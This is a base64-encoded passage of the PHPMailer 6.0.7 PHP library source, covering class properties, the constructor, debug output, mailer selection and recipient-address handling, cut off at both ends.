ZXMuCiAgICAgKgogICAgICogQHZhciBhcnJheQogICAgICovCiAgICBwcm90ZWN0ZWQgJGxhbmd1YWdlID0gW107CiAgICAvKioKICAgICAqIFRoZSBudW1iZXIgb2YgZXJyb3JzIGVuY291bnRlcmVkLgogICAgICoKICAgICAqIEB2YXIgaW50CiAgICAgKi8KICAgIHByb3RlY3RlZCAkZXJyb3JfY291bnQgPSAwOwogICAgLyoqCiAgICAgKiBUaGUgUy9NSU1FIGNlcnRpZmljYXRlIGZpbGUgcGF0aC4KICAgICAqCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fY2VydF9maWxlID0gJyc7CiAgICAvKioKICAgICAqIFRoZSBTL01JTUUga2V5IGZpbGUgcGF0aC4KICAgICAqCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X2ZpbGUgPSAnJzsKICAgIC8qKgogICAgICogVGhlIG9wdGlvbmFsIFMvTUlNRSBleHRyYSBjZXJ0aWZpY2F0ZXMgKCJDQSBDaGFpbiIpIGZpbGUgcGF0aC4KICAgICAqCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fZXh0cmFjZXJ0c19maWxlID0gJyc7CiAgICAvKioKICAgICAqIFRoZSBTL01JTUUgcGFzc3dvcmQgZm9yIHRoZSBrZXkuCiAgICAgKiBVc2VkIG9ubHkgaWYgdGhlIGtleSBpcyBlbmNyeXB0ZWQuCiAgICAgKgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkICRzaWduX2tleV9wYXNzID0gJyc7CiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gdGhyb3cgZXhjZXB0aW9ucyBmb3IgZXJyb3JzLgogICAgICoKICAgICAqIEB2YXIgYm9vbAogICAgICovCiAgICBwcm90ZWN0ZWQgJGV4Y2VwdGlvbnMgPSBmYWxzZTsKICAgIC8qKgogICAgICogVW5pcXVlIElEIHVzZWQgZm9yIG1lc3NhZ2UgSUQgYW5kIGJvdW5kYXJpZXMuCiAgICAgKgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkICR1bmlxdWVpZCA9ICcnOwogICAgLyoqCiAgICAgKiBUaGUgUEhQTWFpbGVyIFZlcnNpb24gbnVtYmVyLgogICAgICoKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIGNvbnN0IFZFUlNJT04gPSAnNi4wLjcnOwogICAgLyoqCiAgICAgKiBFcnJvciBzZXZlcml0eTogbWVzc2FnZSBvbmx5LCBjb250aW51ZSBwcm9jZXNzaW5nLgogICAgICoKICAgICAqIEB2YXIgaW50CiAgICAgKi8KICAgIGNvbnN0IFNUT1BfTUVTU0FHRSA9IDA7CiAgICAvKioKICAgICAqIEVycm9yIHNldmVyaXR5OiBtZXNzYWdlLCBsaWtlbHkgb2sgdG8gY29udGludWUgcHJvY2Vzc2luZy4KICAgICAqCiAgICAgKiBAdmFyIGludAogICAgICovCiAgICBjb25zdCBTVE9QX0NPTlRJTlVFID0gMTsKICAgIC8qKgogICAgICogRXJyb3Igc2V2ZXJpdHk6IG1lc3NhZ2UsIHBsdXMgZnVsbCBzdG9wLCBjcml0aWNhbCBlcnJvciByZWFjaGVkLgogICAgICoKICAgICAqIEB2YXIgaW50CiAgICAgKi8KICAgIGNvbnN0IFNUT1BfQ1JJVElDQUwgPSAyOwogICAgLyoqCiAgICAgKiBTTVRQIFJGQyBzdGFuZGFyZCBsaW5lIGVuZGluZy4KICAgICAqCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgc3RhdGljICRMRSA9ICJcclxuIjsKICAgIC8qKgogICAgICogVGhlIG1heGltdW0gbGluZSBsZW5ndGggYWxsb3dlZCBieSBSRkMgMjgyMiBzZWN0aW9uIDIuMS4xLgogICAgICoKICAgICAqIEB2YXIgaW50CiAgICAgKi8KICAgIGNvbnN0IE1BWF9MSU5FX0xFTkdUSCA9IDk5ODsKICAgIC8qKgogICAgICogVGhlIGxvd2VyIG1heGltdW0gbGluZSBsZW5ndGggYWxsb3dlZCBieSBSRkMgMjgyMiBzZWN0aW9uIDIuMS4xLgogICAgICogVGhpcyBsZW5ndGggZG9lcyBOT1QgaW5jbHVkZSB0aGUgbGluZSBicmVhawogICAgICogNzYgbWVhbnMgdGhhdCBsaW5lcyB3aWxsIGJlIDc3IG9yIDc4IGNoYXJzIGRlcGVuZGluZyBvbiB3aGV0aGVyCiAgICAgKiB0aGUgbGluZSBicmVhayBmb3JtYXQgaXMgTEYgb3IgQ1JMRjsgYm90aCBhcmUgdmFsaWQuCiAgICAgKgogICAgICogQHZhciBpbnQKICAgICAqLwogICAgY29uc3QgU1REX0xJTkVfTEVOR1RIID0gNzY7CiAgICAvKioKICAgICAqIENvbnN0cnVjdG9yLgogICAgICoKICAgICAqIEBwYXJhbSBib29sICRleGNlcHRpb25zIFNob3VsZCB3ZSB0aHJvdyBleHRlcm5hbCBleGNlcHRpb25zPwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJGV4Y2VwdGlvbnMgPSBudWxsKQogICAgewogICAgICAgIGlmIChudWxsICE9PSAkZXhjZXB0aW9ucykgewogICAgICAgICAgICAkdGhpcy0+ZXhjZXB0aW9ucyA9IChib29sKSAkZXhjZXB0aW9uczsKICAgICAgICB9CiAgICAgICAgLy9QaWNrIGFuIGFwcHJvcHJpYXRlIGRlYnVnIG91dHB1dCBmb3JtYXQgYXV0b21hdGljYWxseQogICAgICAgICR0aGlzLT5EZWJ1Z291dHB1dCA9IChzdHJwb3MoUEhQX1NBUEksICdjbGknKSAhPT0gZmFsc2UgPyAnZWNobycgOiAnaHRtbCcpOwogICAgfQogICAgLyoqCiAgICAgKiBEZXN0cnVjdG9yLgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gX19kZXN0cnVjdCgpCiAgICB7CiAgICAgICAgLy9DbG9zZSBhbnkgb3BlbiBTTVRQIGNvbm5lY3Rpb24gbmljZWx5CiAgICAgICAgJHRoaXMtPnNtdHBDbG9zZSgpOwogICAgfQogICAgLyoqCiAgICAgKiBDYWxsIG1haWwoKSBpbiBhIHNhZmVfbW9kZS1hd2FyZSBmYXNoaW9uLgogICAgICogQWxzbywgdW5sZXNzIHNlbmRtYWlsX3BhdGggcG9pbnRzIHRvIHNlbmRtYWlsIChvciBzb21ldGhpbmcgdGhhdAogICAgICogY2xhaW1zIHRvIGJlIHNlbmRtYWlsKSwgZG9uJ3QgcGFzcyBwYXJhbXMgKG5vdCBhIHBlcmZlY3QgZml4LAogICAgICogYnV0IGl0IHdpbGwgZG8pLgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgICAgICAkdG8gICAgICBUbwogICAgICogQHBhcmFtIHN0cmluZyAgICAgICRzdWJqZWN0IFN1YmplY3QKICAgICAqIEBwYXJhbSBzdHJpbmcgICAgICAkYm9keSAgICBNZXNzYWdlIEJvZHkKICAgICAqIEBwYXJhbSBzdHJpbmcgICAgICAkaGVhZGVyICBBZGRpdGlvbmFsIEhlYWRlcihzKQogICAgICogQHBhcmFtIHN0cmluZ3xudWxsICRwYXJhbXMgIFBhcmFtcwogICAgICoKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIG1haWxQYXNzdGhydSgkdG8sICRzdWJqZWN0LCAkYm9keSwgJGhlYWRlciwgJHBhcmFtcykKICAgIHsKICAgICAgICAvL0NoZWNrIG92ZXJsb2FkaW5nIG9mIG1haWwgZnVuY3Rpb24gdG8gYXZvaWQgZG91YmxlLWVuY29kaW5nCiAgICAgICAgaWYgKGluaV9nZXQoJ21ic3RyaW5nLmZ1bmNfb3ZlcmxvYWQnKSAmIDEpIHsKICAgICAgICAgICAgJHN1YmplY3QgPSAkdGhpcy0+c2VjdXJlSGVhZGVyKCRzdWJqZWN0KTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkc3ViamVjdCA9ICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkc3ViamVjdCkpOwogICAgICAgIH0KICAgICAgICAvL0NhbGxpbmcgbWFpbCgpIHdpdGggbnVsbCBwYXJhbXMgYnJlYWtzCiAgICAgICAgaWYgKCEkdGhpcy0+VXNlU2VuZG1haWxPcHRpb25zIG9yIG51bGwgPT09ICRwYXJhbXMpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IEBtYWlsKCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gQG1haWwoJHRvLCAkc3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgIC8qKgogICAgICogT3V0cHV0IGRlYnVnZ2luZyBpbmZvIHZpYSB1c2VyLWRlZmluZWQgbWV0aG9kLgogICAgICogT25seSBnZW5lcmF0ZXMgb3V0cHV0IGlmIFNNVFAgZGVidWcgb3V0cHV0IGlzIGVuYWJsZWQgKEBzZWUgU01UUDo6JGRvX2RlYnVnKS4KICAgICAqCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JERlYnVnb3V0cHV0CiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFNNVFBEZWJ1ZwogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0cgogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZWRlYnVnKCRzdHIpCiAgICB7CiAgICAgICAgaWYgKCR0aGlzLT5TTVRQRGVidWcgPD0gMCkgewogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQogICAgICAgIC8vSXMgdGhpcyBhIFBTUi0zIGxvZ2dlcj8KICAgICAgICBpZiAoJHRoaXMtPkRlYnVnb3V0cHV0IGluc3RhbmNlb2YgXFBzclxMb2dcTG9nZ2VySW50ZXJmYWNlKSB7CiAgICAgICAgICAgICR0aGlzLT5EZWJ1Z291dHB1dC0+ZGVidWcoJHN0cik7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CiAgICAgICAgLy9Bdm9pZCBjbGFzaCB3aXRoIGJ1aWx0LWluIGZ1bmN0aW9uIG5hbWVzCiAgICAgICAgaWYgKCFpbl9hcnJheSgkdGhpcy0+RGVidWdvdXRwdXQsIFsnZXJyb3JfbG9nJywgJ2h0bWwnLCAnZWNobyddKSBhbmQgaXNfY2FsbGFibGUoJHRoaXMtPkRlYnVnb3V0cHV0KSkgewogICAgICAgICAgICBjYWxsX3VzZXJfZnVuYygkdGhpcy0+RGVidWdvdXRwdXQsICRzdHIsICR0aGlzLT5TTVRQRGVidWcpOwogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQogICAgICAgIHN3aXRjaCAoJHRoaXMtPkRlYnVnb3V0cHV0KSB7CiAgICAgICAgICAgIGNhc2UgJ2Vycm9yX2xvZyc6CiAgICAgICAgICAgICAgICAvL0Rvbid0IG91dHB1dCwganVzdCBsb2cKICAgICAgICAgICAgICAgIGVycm9yX2xvZygkc3RyKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdodG1sJzoKICAgICAgICAgICAgICAgIC8vQ2xlYW5zIHVwIG91dHB1dCBhIGJpdCBmb3IgYSBiZXR0ZXIgbG9va2luZywgSFRNTC1zYWZlIG91dHB1dAogICAgICAgICAgICAgICAgZWNobyBodG1sZW50aXRpZXMoCiAgICAgICAgICAgICAgICAgICAgcHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJHN0ciksCiAgICAgICAgICAgICAgICAgICAgRU5UX1FVT1RFUywKICAgICAgICAgICAgICAgICAgICAnVVRGLTgnCiAgICAgICAgICAgICAgICApLCAiPGJyPlxuIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdlY2hvJzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vTm9ybWFsaXplIGxpbmUgYnJlYWtzCiAgICAgICAgICAgICAgICAkc3RyID0gcHJlZ19yZXBsYWNlKCcvXHJcbnxcci9tcycsICJcbiIsICRzdHIpOwogICAgICAgICAgICAgICAgZWNobyBnbWRhdGUoJ1ktbS1kIEg6aTpzJyksCiAgICAgICAgICAgICAgICAiXHQiLAogICAgICAgICAgICAgICAgLy9UcmltIHRyYWlsaW5nIHNwYWNlCiAgICAgICAgICAgICAgICB0cmltKAogICAgICAgICAgICAgICAgICAgIC8vSW5kZW50IGZvciByZWFkYWJpbGl0eSwgZXhjZXB0IGZvciB0cmFpbGluZyBicmVhawogICAgICAgICAgICAgICAgICAgIHN0cl9yZXBsYWNlKAogICAgICAgICAgICAgICAgICAgICAgICAiXG4iLAogICAgICAgICAgICAgICAgICAgICAgICAiXG4gICAgICAgICAgICAgICAgICAgXHQgICAgICAgICAgICAgICAgICAiLAogICAgICAgICAgICAgICAgICAgICAgICB0cmltKCRzdHIpCiAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgKSwKICAgICAgICAgICAgICAgICJcbiI7CiAgICAgICAgfQogICAgfQogICAgLyoqCiAgICAgKiBTZXRzIG1lc3NhZ2UgdHlwZSB0byBIVE1MIG9yIHBsYWluLgogICAgICoKICAgICAqIEBwYXJhbSBib29sICRpc0h0bWwgVHJ1ZSBmb3IgSFRNTCBtb2RlCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0hUTUwoJGlzSHRtbCA9IHRydWUpCiAgICB7CiAgICAgICAgaWYgKCRpc0h0bWwpIHsKICAgICAgICAgICAgJHRoaXMtPkNvbnRlbnRUeXBlID0gc3RhdGljOjpDT05URU5UX1RZUEVfVEVYVF9IVE1MOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR0aGlzLT5Db250ZW50VHlwZSA9IHN0YXRpYzo6Q09OVEVOVF9UWVBFX1BMQUlOVEVYVDsKICAgICAgICB9CiAgICB9CiAgICAvKioKICAgICAqIFNlbmQgbWVzc2FnZXMgdXNpbmcgU01UUC4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzU01UUCgpCiAgICB7CiAgICAgICAgJHRoaXMtPk1haWxlciA9ICdzbXRwJzsKICAgIH0KICAgIC8qKgogICAgICogU2VuZCBtZXNzYWdlcyB1c2luZyBQSFAncyBtYWlsKCkgZnVuY3Rpb24uCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc01haWwoKQogICAgewogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnbWFpbCc7CiAgICB9CiAgICAvKioKICAgICAqIFNlbmQgbWVzc2FnZXMgdXNpbmcgJFNlbmRtYWlsLgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNTZW5kbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwogICAgICAgIGlmIChmYWxzZSA9PT0gc3RyaXBvcygkaW5pX3NlbmRtYWlsX3BhdGgsICdzZW5kbWFpbCcpKSB7CiAgICAgICAgICAgICR0aGlzLT5TZW5kbWFpbCA9ICcvdXNyL3NiaW4vc2VuZG1haWwnOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR0aGlzLT5TZW5kbWFpbCA9ICRpbmlfc2VuZG1haWxfcGF0aDsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPk1haWxlciA9ICdzZW5kbWFpbCc7CiAgICB9CiAgICAvKioKICAgICAqIFNlbmQgbWVzc2FnZXMgdXNpbmcgcW1haWwuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc1FtYWlsKCkKICAgIHsKICAgICAgICAkaW5pX3NlbmRtYWlsX3BhdGggPSBpbmlfZ2V0KCdzZW5kbWFpbF9wYXRoJyk7CiAgICAgICAgaWYgKGZhbHNlID09PSBzdHJpcG9zKCRpbmlfc2VuZG1haWxfcGF0aCwgJ3FtYWlsJykpIHsKICAgICAgICAgICAgJHRoaXMtPlNlbmRtYWlsID0gJy92YXIvcW1haWwvYmluL3FtYWlsLWluamVjdCc7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPlNlbmRtYWlsID0gJGluaV9zZW5kbWFpbF9wYXRoOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+TWFpbGVyID0gJ3FtYWlsJzsKICAgIH0KICAgIC8qKgogICAgICogQWRkIGEgIlRvIiBhZGRyZXNzLgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJGFkZHJlc3MgVGhlIGVtYWlsIGFkZHJlc3MgdG8gc2VuZCB0bwogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQogICAgICoKICAgICAqIEB0aHJvd3MgRXhjZXB0aW9uCiAgICAgKgogICAgICogQHJldHVybiBib29sIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkQWRkcmVzcygkYWRkcmVzcywgJG5hbWUgPSAnJykKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmFkZE9yRW5xdWV1ZUFuQWRkcmVzcygndG8nLCAkYWRkcmVzcywgJG5hbWUpOwogICAgfQogICAgLyoqCiAgICAgKiBBZGQgYSAiQ0MiIGFkZHJlc3MuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKgogICAgICogQHRocm93cyBFeGNlcHRpb24KICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wgdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRDQygkYWRkcmVzcywgJG5hbWUgPSAnJykKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmFkZE9yRW5xdWV1ZUFuQWRkcmVzcygnY2MnLCAkYWRkcmVzcywgJG5hbWUpOwogICAgfQogICAgLyoqCiAgICAgKiBBZGQgYSAiQkNDIiBhZGRyZXNzLgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJGFkZHJlc3MgVGhlIGVtYWlsIGFkZHJlc3MgdG8gc2VuZCB0bwogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQogICAgICoKICAgICAqIEB0aHJvd3MgRXhjZXB0aW9uCiAgICAgKgogICAgICogQHJldHVybiBib29sIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkQkNDKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdiY2MnLCAkYWRkcmVzcywgJG5hbWUpOwogICAgfQogICAgLyoqCiAgICAgKiBBZGQgYSAiUmVwbHktVG8iIGFkZHJlc3MuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byByZXBseSB0bwogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQogICAgICoKICAgICAqIEB0aHJvd3MgRXhjZXB0aW9uCiAgICAgKgogICAgICogQHJldHVybiBib29sIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkUmVwbHlUbygkYWRkcmVzcywgJG5hbWUgPSAnJykKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmFkZE9yRW5xdWV1ZUFuQWRkcmVzcygnUmVwbHktVG8nLCAkYWRkcmVzcywgJG5hbWUpOwogICAgfQogICAgLyoqCiAgICAgKiBBZGQgYW4gYWRkcmVzcyB0byBvbmUgb2YgdGhlIHJlY2lwaWVudCBhcnJheXMgb3IgdG8gdGhlIFJlcGx5VG8gYXJyYXkuIEJlY2F1c2UgUEhQTWFpbGVyCiAgICAgKiBjYW4ndCB2YWxpZGF0ZSBhZGRyZXNzZXMgd2l0aCBhbiBJRE4gd2l0aG91dCBrbm93aW5nIHRoZSBQSFBNYWlsZXI6OiRDaGFyU2V0ICh0aGF0IGNhbiBzdGlsbAogICAgICogYmUgbW9kaWZpZWQgYWZ0ZXIgY2FsbGluZyB0aGlzIGZ1bmN0aW9uKSwgYWRkaXRpb24gb2Ygc3VjaCBhZGRyZXNzZXMgaXMgZGVsYXllZCB1bnRpbCBzZW5kKCkuCiAgICAgKiBBZGRyZXNzZXMgdGhhdCBoYXZlIGJlZW4gYWRkZWQgYWxyZWFkeSByZXR1cm4gZmFsc2UsIGJ1dCBkbyBub3QgdGhyb3cgZXhjZXB0aW9ucy4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRraW5kICAgIE9uZSBvZiAndG8nLCAnY2MnLCAnYmNjJywgb3IgJ1JlcGx5VG8nCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQsIHJlc3AuIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKgogICAgICogQHRocm93cyBFeGNlcHRpb24KICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wgdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBhZGRPckVucXVldWVBbkFkZHJlc3MoJGtpbmQsICRhZGRyZXNzLCAkbmFtZSkKICAgIHsKICAgICAgICAkYWRkcmVzcyA9IHRyaW0oJGFkZHJlc3MpOwogICAgICAgICRuYW1lID0gdHJpbShwcmVnX3JlcGxhY2UoJy9bXHJcbl0rLycsICcnLCAkbmFtZSkpOyAvL1N0cmlwIGJyZWFrcyBhbmQgdHJpbQogICAgICAgICRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpOwogICAgICAgIGlmIChmYWxzZSA9PT0gJHBvcykgewogICAgICAgICAgICAvLyBBdC1zaWduIGlzIG1pc3NpbmcuCiAgICAgICAgICAgICRlcnJvcl9tZXNzYWdlID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICclcyAoJXMpOiAlcycsCiAgICAgICAgICAgICAgICAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJyksCiAgICAgICAgICAgICAgICAka2luZCwKICAgICAgICAgICAgICAgICRhZGRyZXNzCiAgICAgICAgICAgICk7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJHBhcmFtcyA9IFska2luZCwgJGFkZHJlc3MsICRuYW1lXTsKICAgICAgICAvLyBFbnF1ZXVlIGFkZHJlc3NlcyB3aXRoIElETiB1bnRpbCB3ZSBrbm93IHRoZSBQSFBNYWlsZXI6OiRDaGFyU2V0LgogICAgICAgIGlmICgkdGhpcy0+aGFzOGJpdENoYXJzKHN1YnN0cigkYWRkcmVzcywgKyskcG9zKSkgYW5kIHN0YXRpYzo6aWRuU3VwcG9ydGVkKCkpIHsKICAgICAgICAgICAgaWYgKCdSZXBseS1UbycgIT0gJGtpbmQpIHsKICAgICAgICAgICAgICAgIGlmICghYXJyYXlfa2V5X2V4aXN0cygkYWRkcmVzcywgJHRoaXMtPlJlY2lwaWVudHNRdWV1ZSkpIHsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UmVjaXBpZW50c1F1ZXVlWyRhZGRyZXNzXSA9ICRwYXJhbXM7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoJGFkZHJlc3MsICR0aGlzLT5SZXBseVRvUXVldWUpKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlJlcGx5VG9RdWV1ZVskYWRkcmVzc10gPSAkcGFyYW1zOwogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgLy8gSW1tZWRpYXRlbHkgYWRkIHN0YW5kYXJkIGFkZHJlc3NlcyB3aXRob3V0IElETi4KICAgICAgICByZXR1cm4gY2FsbF91c2VyX2Z1bmNfYXJyYXkoWyR0aGlzLCAnYWRkQW5BZGRyZXNzJ10sICRwYXJhbXMpOwogICAgfQogICAgLyoqCiAgICAgKiBBZGQgYW4gYWRkcmVzcyB0byBvbmUgb2YgdGhlIHJlY2lwaWVudCBhcnJheXMgb3IgdG8gdGhlIFJlcGx5VG8gYXJyYXkuCiAgICAgKiBBZGRyZXNzZXMgdGhhdCBoYXZlIGJlZW4gYWRkZWQgYWxyZWFkeSByZXR1cm4gZmFsc2UsIGJ1dCBkbyBub3QgdGhyb3cgZXhjZXB0aW9ucy4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRraW5kICAgIE9uZSBvZiAndG8nLCAnY2MnLCAnYmNjJywgb3IgJ1JlcGx5VG8nCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQsIHJlc3AuIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKgogICAgICogQHRocm93cyBFeGNlcHRpb24KICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wgdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBhZGRBbkFkZHJlc3MoJGtpbmQsICRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIGlmICghaW5fYXJyYXkoJGtpbmQsIFsndG8nLCAnY2MnLCAnYmNjJywgJ1JlcGx5LVRvJ10pKSB7CiAgICAgICAgICAgICRlcnJvcl9tZXNzYWdlID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICclczogJXMnLAogICAgICAgICAgICAgICAgJHRoaXMtPmxhbmcoJ0ludmFsaWQgcmVjaXBpZW50IGtpbmQnKSwKICAgICAgICAgICAgICAgICRraW5kCiAgICAgICAgICAgICk7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCFzdGF0aWM6OnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSBzcHJpbnRmKAogICAgICAgICAgICAgICAgJyVzICglcyk6ICVzJywKICAgICAgICAgICAgICAgICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSwKICAgICAgICAgICAgICAgICRraW5kLAogICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgKTsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBpZiAoJ1JlcGx5LVRvJyAhPSAka2luZCkgewogICAgICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoc3RydG9sb3dlcigkYWRkcmVzcyksICR0aGlzLT5hbGxf